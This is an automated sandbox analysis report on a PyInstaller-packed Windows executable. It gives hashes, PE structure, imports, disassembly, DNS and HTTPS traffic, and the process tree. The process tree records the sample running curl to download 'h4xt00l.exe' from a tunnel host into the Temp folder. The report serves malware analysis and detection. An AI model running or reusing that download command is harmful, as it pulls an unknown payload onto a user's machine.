SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h4xt00l.exe

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	HTML document, ASCII text
Category:	modified
Size (bytes):	2036
Entropy (8bit):	5.210145672839598
Encrypted:	false
SSDEEP:	48:VDVfYW0P5CwwXzK+oMmlml/DKA0Xt1amo8QfZ8SESGb3/:DGxFAzK+oMCWDKA0X2DfHBWv
MD5:	B6F717CDD4DE329F1C7FA66E362600FF
SHA1:	A98FAE273452DC5398F2E5B454996364F78AE914
SHA-256:	27230504D1F8FCD449E0306B169866BC894214894576A9F7535B7E4246703C30
SHA-512:	8317C324CD24375EC6DB06356CD9E952D592F693A969498CB92C07211E08CFC7C8E02900780E1C6DEA6EB4007E1F671D26696D2442E032E91D738C9457ECC9B5
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en">.<head>..<meta charset="utf-8">..<meta http-equiv="X-UA-Compatible" content="IE=edge">..<meta name="viewport" content="width=device-width, initial-scale=1">..<title>404 TUNNEL NOT FOUND</title>..<link href="https://fonts.googleapis.com/css?family=Nunito:700,900" rel="stylesheet">..</head>..<style>.* {. -webkit-box-sizing: border-box;. box-sizing: border-box;.}.body {. padding: 0;. margin: 0;.}.#error {. position: relative;. height: 100vh;. background-image: linear-gradient(#0b1326 50%, #0e1931 90%);.}.#error .error {. position: absolute;. left: 50%;. top: 50%;. -webkit-transform: translate(-50%, -50%);. -ms-transform: translate(-50%, -50%);. transform: translate(-50%, -50%);.}..error {. max-width: 767px;. width: 100%;. line-height: 1.4;. text-align: center;.}..error .error-msg {. position: relative;.. margin-bottom: 20px;. z-index: -1;.}..error .error-msg h1 {. font-family: 'Nunito', sans-serif;. position: absolu

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\Desktop\aLsxeH29P2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462947280327378
Encrypted:	false
SSDEEP:	6144:NIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:eXD94+WlLZMM6YFHg+n
MD5:	DAE37CC20027B9FFF6B48E850F4CC7E9
SHA1:	7E9A3A1EA13C174947CF6A9EA86645B468C6EEFA
SHA-256:	C7CCFA6847121CB7FB9D3408F24E9721A83AB28FB3C5474FF78B126DCDBEFC4A
SHA-512:	46C0D7B374FEE1C5C435B823113B642432109DE5FA3D8B004151B1E6538E6482E7DA65EC264AC18F037DBED9BA11B2B41B25DAD8FA315DB82D2C6FEBC82E9150
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	478
Entropy (8bit):	3.097721489649575
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdivId6Fjai4U0FcKi6on:Vz6ykymUexb1U9cdd6x0qV
MD5:	D8EAC298524FCA2B30D1329F1B238C21
SHA1:	4B1328811D338821F597160F796A503EFEB97F72
SHA-256:	F12C6DA114F3CA2643EDDA03299FEC6F8A506B2154D4848B01F5B0E54EA15A6F
SHA-512:	E6F82CF548EC3DCB1C40C22564A5CEA363D7E14B1BBA68445C2C47300EFC87552074AF0928EB8F0418443B495BF9DFEE2E2CDB2E6EF4E281533F8E9E63FA132C
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0.100 2036 0 2036 0 0 964 0 --:--:-- 0:00:02 --:--:-- 965.100 2036 0 2036 0 0 961 0 --:--:-- 0:00:02 --:--:-- 962..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.991043623348911
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	aLsxeH29P2.exe
File size:	7'178'619 bytes
MD5:	43f63dde42af90b34befb25ca46e33d7
SHA1:	2ad1824df97e3d1275521faed88ede96fe41e035
SHA256:	8bd6a723809e23d1c14d7ff528e16e996a3b0b0432e2b7feb4eb5db52c542173
SHA512:	e75b1321a6faada88025a6bc1ccb7da197bc3cbe3bd3f13ac01471703e0194be50025006df968881139723a46f6eb448f7c28ddc76f80cb1ec7e68122964b528
SSDEEP:	196608:iiCFVEyXMCHGLLc54i1wN+ijXx5nDasqWQ2dTNUGqlf+iITxKvM:BCFVEyXMCHWUj6jx5WsqWxTwITEU
TLSH:	A476335553E04DF5E8F7813EE8A3945AEA71B4470764CA9B93D812D20F232E07E78F62
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Zpc.Zpc.Zpc...`.]pc...f..pc...g.Ppc.....Ypc...`.Spc...g.Kpc...f.rpc...b.Qpc.Zpb..pc.O.g.Cpc.O.a.[pc.RichZpc.........PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F6874 [Thu Nov 21 17:05:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FA20D27139Ch
dec eax
add esp, 28h
jmp 00007FA20D270FBFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FA20D271768h
test eax, eax
je 00007FA20D271163h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FA20D271147h
dec eax
cmp ecx, eax
je 00007FA20D271156h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007FA20D271130h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FA20D271139h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FA20D271149h
mov byte ptr [00035765h], 00000001h
call 00007FA20D270895h
call 00007FA20D271B80h
test al, al
jne 00007FA20D271146h
xor al, al
jmp 00007FA20D271156h
call 00007FA20D27E69Fh
test al, al
jne 00007FA20D27114Bh
xor ecx, ecx
call 00007FA20D271B90h
jmp 00007FA20D27112Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007FA20D2711A9h
cmp ecx, 01h
jnbe 00007FA20D2711ACh
call 00007FA20D2716DEh
test eax, eax
je 00007FA20D27116Ah
test ebx, ebx
jne 00007FA20D271166h
dec eax
lea ecx, dword ptr [00035716h]
call 00007FA20D27E492h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x568	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	a6c3b829cc8eaabb1a474c227e90407f	False	0.5514206659226191	data	6.487493643901088	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	7541b94dd9589e5198aee6944205e876	False	0.5245052083333334	data	5.752722538344455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	181312260a85d10a1454ba38901c499b	False	0.4705946180555556	data	5.290347578351011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x568	0x600	1f909f1505d4aac403fc692b4e3c4933	False	0.4375	data	5.515698942150982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x47058	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 11:30:11.025300026 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:11.025362015 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:11.025429964 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:11.035039902 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:11.035065889 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.418260098 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.418359995 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:12.423098087 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:12.423115015 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.423389912 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.427176952 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:12.467328072 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.811297894 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.811394930 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.811465979 CET	443	49732	167.99.38.229	192.168.2.4
Dec 11, 2024 11:30:12.811469078 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:12.811511993 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:12.836497068 CET	49732	443	192.168.2.4	167.99.38.229
Dec 11, 2024 11:30:12.836549997 CET	443	49732	167.99.38.229	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 11:30:10.714101076 CET	64624	53	192.168.2.4	1.1.1.1
Dec 11, 2024 11:30:11.017467022 CET	53	64624	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 11:30:10.714101076 CET	192.168.2.4	1.1.1.1	0xa9e8	Standard query (0)	haxerr.eu.loclx.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 11:30:11.017467022 CET	1.1.1.1	192.168.2.4	0xa9e8	No error (0)	haxerr.eu.loclx.io	eu.loclx.io		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 11:30:11.017467022 CET	1.1.1.1	192.168.2.4	0xa9e8	No error (0)	eu.loclx.io		167.99.38.229	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

haxerr.eu.loclx.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	167.99.38.229	443	7384	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 10:30:12 UTC	93	OUT	GET /h4xt00l.exe HTTP/1.1 Host: haxerr.eu.loclx.io User-Agent: curl/7.83.1 Accept: /
2024-12-11 10:30:12 UTC	51	IN	Data Raw: 48 54 54 50 2f 31 2e 30 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a Data Ascii: HTTP/1.0 404 Not FoundContent-Type: text/html
2024-12-11 10:30:12 UTC	1138	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 54 55 4e 4e 45 4c 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 TUNNEL NOT FOUND</title><link href="https://fonts.go
2024-12-11 10:30:12 UTC	898	IN	Data Raw: 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 20 2c 20 2d 35 30 25 29 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 34 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 31 32 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 45 32 33 45 35 37 3b 0a 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 33 70 78 20 33 70 78 20 23 66 66 66 66 66 66 3b 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0a 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 32 30 70 78 3b 0a 7d 0a 2e 65 72 72 6f 72 20 2e 65 72 72 6f 72 2d 6d 73 67 20 68 32 20 7b Data Ascii: : translate(-50% , -50%); font-size: 224px; font-weight: 900; margin-top: 0px; margin-bottom: 0px; margin-left: -12px; color: #E23E57;text-shadow: 3px 3px #ffffff; text-transform: uppercase; letter-spacing: -20px;}.error .error-msg h2 {

Target ID:	0
Start time:	05:30:09
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\aLsxeH29P2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aLsxeH29P2.exe"
Imagebase:	0x7ff7f3dd0000
File size:	7'178'619 bytes
MD5 hash:	43F63DDE42AF90B34BEFB25CA46E33D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:30:09
Start date:	11/12/2024
Path:	C:\Users\user\Desktop\aLsxeH29P2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aLsxeH29P2.exe"
Imagebase:	0x7ff7f3dd0000
File size:	7'178'619 bytes
MD5 hash:	43F63DDE42AF90B34BEFB25CA46E33D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:30:10
Start date:	11/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl https://haxerr.eu.loclx.io/h4xt00l.exe --output C:\Users\user\AppData\Local\Temp\h4xt00l.exe
Imagebase:	0x7ff7e0980000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:30:10
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF7F3DD89E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8A56

Part of subcall function 00007FF7F3DEA47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEA490

Part of subcall function 00007FF7F3DE871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE8783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8AE6
CreateProcessW.KERNELBASE ref: 00007FF7F3DD8B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8B28

Part of subcall function 00007FF7F3DD2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2C9E
Part of subcall function 00007FF7F3DD2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2D63
Part of subcall function 00007FF7F3DD2C50: MessageBoxW.USER32 ref: 00007FF7F3DD2D99

RegisterClassW.USER32 ref: 00007FF7F3DD8B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8B8B
CreateWindowExW.USER32 ref: 00007FF7F3DD8BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C15
PeekMessageW.USER32 ref: 00007FF7F3DD8C39
TranslateMessage.USER32 ref: 00007FF7F3DD8C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C51
PeekMessageW.USER32 ref: 00007FF7F3DD8C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8E04
GetExitCodeProcess.KERNEL32 ref: 00007FF7F3DD8E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8E2F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF7F3DD8B54
PyInstaller Onefile Hidden Window, xrefs: 00007FF7F3DD8B95
CreateProcessW, xrefs: 00007FF7F3DD8B37
Failed to create child process!, xrefs: 00007FF7F3DD8B30

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: a8d80dfe3c9e3fe2b945a64a1ebc6c5d45b083e293a6540627b65f3584598d47
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 0CD18732A09A8286E790AFB4E8942A9B764FF44758F800235DE7D6B7D8DF3CD145C790

Function 00007FF7F3DD1000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_PYI_ARCHIVE_FILE, xrefs: 00007FF7F3DD38D2, 00007FF7F3DD39FF
Failed to start splash screen!, xrefs: 00007FF7F3DD3ECC
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7F3DD3EB3
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7F3DD3E02
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7F3DD3B32
pyi-python-flag, xrefs: 00007FF7F3DD3AD6
VCRUNTIME140.dll, xrefs: 00007FF7F3DD3DA9
Failed to convert DLL search path!, xrefs: 00007FF7F3DD3DD4
Failed to load splash screen resources!, xrefs: 00007FF7F3DD3E7D
pyi-runtime-tmpdir, xrefs: 00007FF7F3DD3B68
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7F3DD3971
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7F3DD3C61
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7F3DD3A0B, 00007FF7F3DD3CD4, 00007FF7F3DD3F63
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7F3DD39DE
